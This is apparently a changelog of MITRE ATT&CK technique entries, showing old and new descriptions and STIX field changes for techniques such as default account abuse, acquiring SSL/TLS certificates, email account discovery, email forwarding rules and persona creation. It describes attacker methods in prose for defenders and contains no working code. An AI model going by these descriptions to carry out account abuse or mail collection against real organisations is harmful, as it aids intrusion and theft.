| > | lude accounts that are preset for equipment such as network | > | Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS R | ||
| > | devices and computer applications whether they are internal, | > | oot User)(Citation: Threat Matrix for Kubernetes) Default a | ||
| > | open source, or commercial. Appliances that come preset wit | > | ccounts are not limited to client machines, rather also incl | ||
| > | h a username and password combination pose a serious threat | > | ude accounts that are preset for equipment such as network d | ||
| > | to organizations that do not change it post installation, as | > | evices and computer applications whether they are internal, | ||
| > | they are easy targets for an adversary. Similarly, adversar | > | open source, or commercial. Appliances that come preset with | ||
| > | ies may also utilize publicly disclosed or stolen [Private K | > | a username and password combination pose a serious threat t | ||
| > | eys](https://attack.mitre.org/techniques/T1552/004) or crede | > | o organizations that do not change it post installation, as | ||
| > | ntial materials to legitimately connect to remote environmen | > | they are easy targets for an adversary. Similarly, adversari | ||
| > | ts via [Remote Services](https://attack.mitre.org/techniques | > | es may also utilize publicly disclosed or stolen [Private Ke | ||
| > | /T1021).(Citation: Metasploit SSH Module) | > | ys](https://attack.mitre.org/techniques/T1552/004) or creden | ||
| > | tial materials to legitimately connect to remote environment | ||||
| > | s via [Remote Services](https://attack.mitre.org/techniques/ | ||||
| > | T1021).(Citation: Metasploit SSH Module) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:41:43.491000+00:00 | 2021-04-05 20:14:26.846000+00:00 |
| description | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems or default factory/provider set accounts on other types of systems, software, or devices.(Citation: Microsoft Local Accounts Feb 2019) Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) |
| external_references[3]['source_name'] | Metasploit SSH Module | AWS Root User |
| external_references[3]['description'] | undefined. (n.d.). Retrieved April 12, 2019. | Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021. |
| external_references[3]['url'] | https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh | https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html |
| x_mitre_data_sources[0] | AWS CloudTrail logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Stackdriver logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Threat Matrix for Kubernetes', 'description': 'Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/'} | |
| external_references | {'source_name': 'Metasploit SSH Module', 'description': 'Metasploit. (n.d.). Retrieved April 12, 2019.', 'url': 'https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:55:23.113000+00:00 | 2021-03-08 10:33:02.083000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Instance: Instance Deletion |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy and/or ste | t | 1 | Adversaries may buy and/or steal SSL/TLS certificates that c |
| > | al SSL/TLS certificates that can be used during targeting. S | > | an be used during targeting. SSL/TLS certificates are design | ||
| > | SL/TLS certificates are designed to instill trust. They incl | > | ed to instill trust. They include information about the key, | ||
| > | ude information about the key, information about its owner's | > | information about its owner's identity, and the digital sig | ||
| > | identity, and the digital signature of an entity that has v | > | nature of an entity that has verified the certificate's cont | ||
| > | erified the certificate's contents are correct. If the signa | > | ents are correct. If the signature is valid, and the person | ||
| > | ture is valid, and the person examining the certificate trus | > | examining the certificate trusts the signer, then they know | ||
| > | ts the signer, then they know they can use that key to commu | > | they can use that key to communicate with its owner. Advers | ||
| > | nicate with its owner. Adversaries may purchase or steal SS | > | aries may purchase or steal SSL/TLS certificates to further | ||
| > | L/TLS certificates to further their operations, such as encr | > | their operations, such as encrypting C2 traffic (ex: [Asymme | ||
| > | ypting C2 traffic (ex: [Web Protocols](https://attack.mitre. | > | tric Cryptography](https://attack.mitre.org/techniques/T1573 | ||
| > | org/techniques/T1071/001)) or even enabling [Man-in-the-Midd | > | /002) with [Web Protocols](https://attack.mitre.org/techniqu | ||
| > | le](https://attack.mitre.org/techniques/T1557) if the certif | > | es/T1071/001)) or even enabling [Man-in-the-Middle](https:// | ||
| > | icate is trusted or otherwise added to the root of trust (i. | > | attack.mitre.org/techniques/T1557) if the certificate is tru | ||
| > | e. [Install Root Certificate](https://attack.mitre.org/techn | > | sted or otherwise added to the root of trust (i.e. [Install | ||
| > | iques/T1553/004)). The purchase of digital certificates may | > | Root Certificate](https://attack.mitre.org/techniques/T1553/ | ||
| > | be done using a front organization or using information stol | > | 004)). The purchase of digital certificates may be done usin | ||
| > | en from a previously compromised entity that allows the adve | > | g a front organization or using information stolen from a pr | ||
| > | rsary to validate to a certificate provider as that entity. | > | eviously compromised entity that allows the adversary to val | ||
| > | Adversaries may also steal certificate materials directly fr | > | idate to a certificate provider as that entity. Adversaries | ||
| > | om a compromised third-party, including from certificate aut | > | may also steal certificate materials directly from a comprom | ||
| > | horities.(Citation: DiginotarCompromise) Certificate author | > | ised third-party, including from certificate authorities.(Ci | ||
| > | ities exist that allow adversaries to acquire SSL/TLS certif | > | tation: DiginotarCompromise) Adversaries may register or hij | ||
| > | icates, such as domain validation certificates, for free.(Ci | > | ack domains that they will later purchase an SSL/TLS certifi | ||
| > | tation: Let's Encrypt FAQ) Adversaries may register or hija | > | cate for. Certificate authorities exist that allow adversar | ||
| > | ck domains that they will later purchase an SSL/TLS certific | > | ies to acquire SSL/TLS certificates, such as domain validati | ||
| > | ate for. | > | on certificates, for free.(Citation: Let's Encrypt FAQ) Aft | ||
| > | er obtaining a digital certificate, an adversary may then in | ||||
| > | stall that certificate (see [Install Digital Certificate](ht | ||||
| > | tps://attack.mitre.org/techniques/T1608/003)) on infrastruct | ||||
| > | ure under their control. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['SSL/TLS certificates'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:18:54.959000+00:00 | 2021-04-15 02:32:49.507000+00:00 |
| description | Before compromising a victim, adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. | Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create self-si | t | 1 | Adversaries may create self-signed SSL/TLS certificates that |
| > | gned SSL/TLS certificates that can be used during targeting. | > | can be used during targeting. SSL/TLS certificates are desi | ||
| > | SSL/TLS certificates are designed to instill trust. They in | > | gned to instill trust. They include information about the ke | ||
| > | clude information about the key, information about its owner | > | y, information about its owner's identity, and the digital s | ||
| > | 's identity, and the digital signature of an entity that has | > | ignature of an entity that has verified the certificate's co | ||
| > | verified the certificate's contents are correct. If the sig | > | ntents are correct. If the signature is valid, and the perso | ||
| > | nature is valid, and the person examining the certificate tr | > | n examining the certificate trusts the signer, then they kno | ||
| > | usts the signer, then they know they can use that key to com | > | w they can use that key to communicate with its owner. In th | ||
| > | municate with its owner. In the case of self-signing, digita | > | e case of self-signing, digital certificates will lack the e | ||
| > | l certificates will lack the element of trust associated wit | > | lement of trust associated with the signature of a third-par | ||
| > | h the signature of a third-party certificate authority (CA). | > | ty certificate authority (CA). Adversaries may create self- | ||
| > | Adversaries may create self-signed SSL/TLS certificates th | > | signed SSL/TLS certificates that can be used to further thei | ||
| > | at can be used to further their operations, such as encrypti | > | r operations, such as encrypting C2 traffic (ex: [Asymmetric | ||
| > | ng C2 traffic (ex: [Web Protocols](https://attack.mitre.org/ | > | Cryptography](https://attack.mitre.org/techniques/T1573/002 | ||
| > | techniques/T1071/001)) or even enabling [Man-in-the-Middle]( | > | ) with [Web Protocols](https://attack.mitre.org/techniques/T | ||
| > | https://attack.mitre.org/techniques/T1557) if added to the r | > | 1071/001)) or even enabling [Man-in-the-Middle](https://atta | ||
| > | oot of trust (i.e. [Install Root Certificate](https://attack | > | ck.mitre.org/techniques/T1557) if added to the root of trust | ||
| > | .mitre.org/techniques/T1553/004)). | > | (i.e. [Install Root Certificate](https://attack.mitre.org/t | ||
| > | echniques/T1553/004)). After creating a digital certificate | ||||
| > | , an adversary may then install that certificate (see [Insta | ||||
| > | ll Digital Certificate](https://attack.mitre.org/techniques/ | ||||
| > | T1608/003)) on infrastructure under their control. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['SSL/TLS certificates'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:18:08.422000+00:00 | 2021-04-15 02:33:38.589000+00:00 |
| description | Before compromising a victim, adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). | Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:57:12.410000+00:00 | 2021-03-29 16:11:56.727000+00:00 |
| x_mitre_data_sources[0] | Sensor health and status | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | SaaS | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network device logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:31:34.489000+00:00 | 2021-03-15 16:43:04.273000+00:00 |
| x_mitre_contributors[4] | AttackIQ | Alex Soler, AttackIQ |
| x_mitre_data_sources[0] | AWS CloudTrail logs | Cloud Service: Cloud Service Modification |
| x_mitre_data_sources[1] | Azure activity logs | Cloud Service: Cloud Service Disable |
| x_mitre_platforms[0] | GCP | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Syed Ummar Farooqh, McAfee | |
| x_mitre_contributors | Prasad Somasamudram, McAfee | |
| x_mitre_contributors | Sekhar Sarukkai, McAfee |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Sekhar Sarukkai; Prasad Somasamudram; Syed Ummar Farooqh (McAfee) | |
| x_mitre_data_sources | GCP audit logs | |
| x_mitre_platforms | Azure | |
| x_mitre_platforms | AWS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 20:02:24.426000+00:00 | 2021-03-08 10:33:02.146000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Firewall: Firewall Rule Modification |
| x_mitre_data_sources[1] | GCP audit logs | Firewall: Firewall Disable |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security', 'Nathaniel Quist, Palo Alto Networks', 'Gal Singer, @galsinger29, Team Nautilus Aqua Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 21:52:43.151000+00:00 | 2021-04-19 13:41:17.746000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Termination |
| x_mitre_data_sources[1] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Services | Windows Registry: Windows Registry Key Deletion |
| x_mitre_data_sources[3] | File monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Service: Service Metadata | |
| x_mitre_data_sources | Sensor Health: Host Status | |
| x_mitre_platforms | Containers | |
| x_mitre_platforms | IaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of email addresses | t | 1 | Adversaries may attempt to get a listing of email addresses |
| > | and accounts. Adversaries may try to dump Exchange address l | > | and accounts. Adversaries may try to dump Exchange address l | ||
| > | ists such as global address lists (GALs).(Citation: Microsof | > | ists such as global address lists (GALs).(Citation: Microsof | ||
| > | t Exchange Address Lists) In on-premises Exchange and Excha | > | t Exchange Address Lists) In on-premises Exchange and Excha | ||
| > | nge Online, the<code>Get-GlobalAddressList</code> PowerShell | > | nge Online, the<code>Get-GlobalAddressList</code> PowerShell | ||
| > | cmdlet can be used to obtain email addresses and accounts f | > | cmdlet can be used to obtain email addresses and accounts f | ||
| > | rom a domain using an authenticated session.(Citation: Micro | > | rom a domain using an authenticated session.(Citation: Micro | ||
| > | soft getglobaladdresslist)(Citation: Black Hills Attacking E | > | soft getglobaladdresslist)(Citation: Black Hills Attacking E | ||
| > | xchange MailSniper, 2016) | > | xchange MailSniper, 2016) In Google Workspace, the GAL is s | ||
| > | hared with Microsoft Outlook users through the Google Worksp | ||||
| > | ace Sync for Microsoft Outlook (GWSMO) service. Additionally | ||||
| > | , the Google Workspace Directory allows for users to get a l | ||||
| > | isting of other users within the organization.(Citation: Goo | ||||
| > | gle Workspace Global Access List) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 15:27:58.933000+00:00 | 2021-03-31 13:10:46.302000+00:00 |
| description | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)
In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List) |
| x_mitre_data_sources[0] | Office 365 account logs | User Account: User Account Metadata |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Google Workspace Global Access List', 'description': 'Google. (n.d.). Retrieved March 16, 2021.', 'url': 'https://support.google.com/a/answer/166870?hl=en'} | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 18:31:06.417000+00:00 | 2021-04-14 14:22:44.435000+00:00 |
| x_mitre_data_sources[0] | Office 365 trace logs | File: File Access |
| x_mitre_data_sources[1] | Mail server | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Email gateway | Logon Session: Logon Session Creation |
| x_mitre_data_sources[3] | Authentication logs | Command: Command Execution |
| x_mitre_data_sources[4] | File monitoring | Application Log: Application Log Content |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process use of network |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may setup email forwarding rules to collect sens | t | 1 | Adversaries may setup email forwarding rules to collect sens |
| > | itive information. Adversaries may abuse email-forwarding ru | > | itive information. Adversaries may abuse email-forwarding ru | ||
| > | les to monitor the activities of a victim, steal information | > | les to monitor the activities of a victim, steal information | ||
| > | , and further gain intelligence on the victim or the victim’ | > | , and further gain intelligence on the victim or the victim’ | ||
| > | s organization to use as part of further exploits or operati | > | s organization to use as part of further exploits or operati | ||
| > | ons.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook W | > | ons.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook W | ||
| > | eb App (OWA) allow users to create inbox rules for various e | > | eb App (OWA) allow users to create inbox rules for various e | ||
| > | mail functions, including forwarding to a different recipien | > | mail functions, including forwarding to a different recipien | ||
| > | t. Messages can be forwarded to internal or external recipie | > | t. Similarly, Google Workspace users or administrators can s | ||
| > | nts, and there are no restrictions limiting the extent of th | > | et up mail forwarding rules via the Google Workspace web int | ||
| > | is rule. Administrators may also create forwarding rules for | > | erface. Messages can be forwarded to internal or external re | ||
| > | user accounts with the same considerations and outcomes.(Ci | > | cipients, and there are no restrictions limiting the extent | ||
| > | tation: Microsoft Tim McMichael Exchange Mail Forwarding 2) | > | of this rule. Administrators may also create forwarding rule | ||
| > | Any user or administrator within the organization (or adve | > | s for user accounts with the same considerations and outcome | ||
| > | rsary with valid credentials) can create rules to automatica | > | s.(Citation: Microsoft Tim McMichael Exchange Mail Forwardin | ||
| > | lly forward all received messages to another recipient, forw | > | g 2) Any user or administrator within the organization (or | ||
| > | ard emails to different locations based on the sender, and m | > | adversary with valid credentials) can create rules to autom | ||
| > | ore. | > | atically forward all received messages to another recipient, | ||
| > | forward emails to different locations based on the sender, | ||||
| > | and more. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.509000+00:00 | 2021-03-25 13:08:30.699000+00:00 |
| description | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Similarly, Google Workspace users or administrators can set up mail forwarding rules via the Google Workspace web interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. |
| x_mitre_data_sources[0] | Process use of network | Application Log: Application Log Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server | |
| x_mitre_data_sources | Office 365 trace logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:56:03.459000+00:00 | 2021-04-14 12:05:31.985000+00:00 |
| x_mitre_data_sources[0] | SSL/TLS inspection | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Web logs | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Web application firewall logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Network intrusion detection system | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Network device logs | |
| x_mitre_data_sources | Netflow/Enclave netflow |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create and cul | t | 1 | Adversaries may create and cultivate accounts with services |
| > | tivate accounts with services that can be used during target | > | that can be used during targeting. Adversaries can create ac | ||
| > | ing. Adversaries can create accounts that can be used to bui | > | counts that can be used to build a persona to further operat | ||
| > | ld a persona to further operations. Persona development cons | > | ions. Persona development consists of the development of pub | ||
| > | ists of the development of public information, presence, his | > | lic information, presence, history and appropriate affiliati | ||
| > | tory and appropriate affiliations. This development could be | > | ons. This development could be applied to social media, webs | ||
| > | applied to social media, website, or other publicly availab | > | ite, or other publicly available information that could be r | ||
| > | le information that could be referenced and scrutinized for | > | eferenced and scrutinized for legitimacy over the course of | ||
| > | legitimacy over the course of an operation using that person | > | an operation using that persona or identity.(Citation: NEWSC | ||
| > | a or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatR | > | ASTER2014)(Citation: BlackHatRobinSage) For operations inco | ||
| > | obinSage) For operations incorporating social engineering, | > | rporating social engineering, the utilization of an online p | ||
| > | the utilization of an online persona may be important. These | > | ersona may be important. These personas may be fictitious or | ||
| > | personas may be fictitious or impersonate real people. The | > | impersonate real people. The persona may exist on a single | ||
| > | persona may exist on a single site or across multiple sites | > | site or across multiple sites (ex: Facebook, LinkedIn, Twitt | ||
| > | (ex: Facebook, LinkedIn, Twitter, Google, etc.). Establishin | > | er, Google, GitHub, Docker Hub, etc.). Establishing a person | ||
| > | g a persona may require development of additional documentat | > | a may require development of additional documentation to mak | ||
| > | ion to make them seem real. This could include filling out p | > | e them seem real. This could include filling out profile inf | ||
| > | rofile information, developing social networks, or incorpora | > | ormation, developing social networks, or incorporating photo | ||
| > | ting photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRob | > | s.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) E | ||
| > | inSage) Establishing accounts can also include the creation | > | stablishing accounts can also include the creation of accoun | ||
| > | of accounts with email providers, which may be directly lev | > | ts with email providers, which may be directly leveraged for | ||
| > | eraged for [Phishing for Information](https://attack.mitre.o | > | [Phishing for Information](https://attack.mitre.org/techniq | ||
